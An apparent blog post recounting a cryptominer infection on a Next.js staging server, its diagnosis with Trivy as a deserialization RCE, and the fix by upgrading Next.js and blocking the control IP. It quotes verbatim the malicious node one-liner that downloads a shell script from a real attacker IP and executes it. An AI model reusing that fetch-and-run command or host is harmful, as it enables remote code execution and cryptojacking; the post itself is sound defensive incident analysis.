Last week I found a cryptominer running on my staging server. Here's what happened and how I fixed it.
What I Saw
My container was down. It had been running for the last 5 years without fail. What gives? I would just run a docker compose down and a up -d. Routine check on my Docker container, ran ps aux, and this was staring back at me:
node -e require('http').get('http://91.92.243.113:235/logic.sh',(r)=>{let d='';r.on('data',(c)=>d+=c);r.on('end',()=>require('child_process').exec(d))})
And separately, wget actively downloading something called x86_64.kok from the same IP. That .kok file turned out to be XMRig — a Monero miner. Someone was using my server to mine crypto.
The Confusing Part
My first instinct was that the build pipeline was compromised. So I spent a few hours testing: Mac builds, server builds, with ports, without ports, with env vars, without. I even spun up a brand new UAT server thinking the existing one was dirty at the OS level. The new server got infected on the first HTTP request. That's when I realized I was looking at this wrong. A fresh server with a fresh image getting hit immediately — this wasn't a compromised build environment. Something in the application itself was the entry point. Two Minutes with Trivy I ran Trivy against the repo:trivy fs --scanners vuln --severity HIGH,CRITICAL .
Output:
next CVE-2025-55182 CRITICAL 15.1.0 → fix: 15.5.7
next CVE-2025-29927 CRITICAL 15.1.0 → fix: 15.2.3
next CVE-2025-49826 HIGH 15.1.0 → fix: 15.1.8
CVE-2025-55182: pre-authentication remote code execution via unsafe deserialization in React Server Components. CVSS 9.8. That's about as bad as it gets.
I was running Next.js 15.1.0. The fix was in 15.1.9.
The attack made complete sense now. Send a crafted HTTP POST, Next.js deserializes your payload without validating it, you get code execution. The malware was never in my source code or my build — it was being injected live on every incoming request.
The Fix
yarn upgrade next@^15.5.7
Yarn pulled in 15.5.12. Committed, pushed, GitHub Actions deployed to staging and UAT. Checked ps aux in both containers — only the expected processes. Watched both environments for 30 minutes, nothing. Also blocked the C&C IP on both servers via iptables while I was at it:
sudo iptables -A OUTPUT -d 91.92.243.113 -j DROP
What I Got Wrong
I spent one hour on the wrong hypothesis. The clue that should have redirected me faster was the brand new UAT server getting hit immediately — that ruled out server-level compromise within minutes. Instead I kept pulling on the build environment thread. Running Trivy at the start of the investigation would have saved most of that time. Two minutes to scan, clear answer.
What now?
Trivy is going into the CI pipeline now. Every push to main will scan for HIGH and CRITICAL CVEs — if any are found, the build fails. Dependabot is also back on. I had turned it off because the PRs were noisy. That was a bad trade. The ports-triggering-malware observation wasn't wrong, it was just missing context. The HTTP request was the trigger because the exploit needed an HTTP request. I had the symptom right and drew the wrong conclusion from it. Keep your dependencies updated. Scan them regularly. Neither of those things is hard.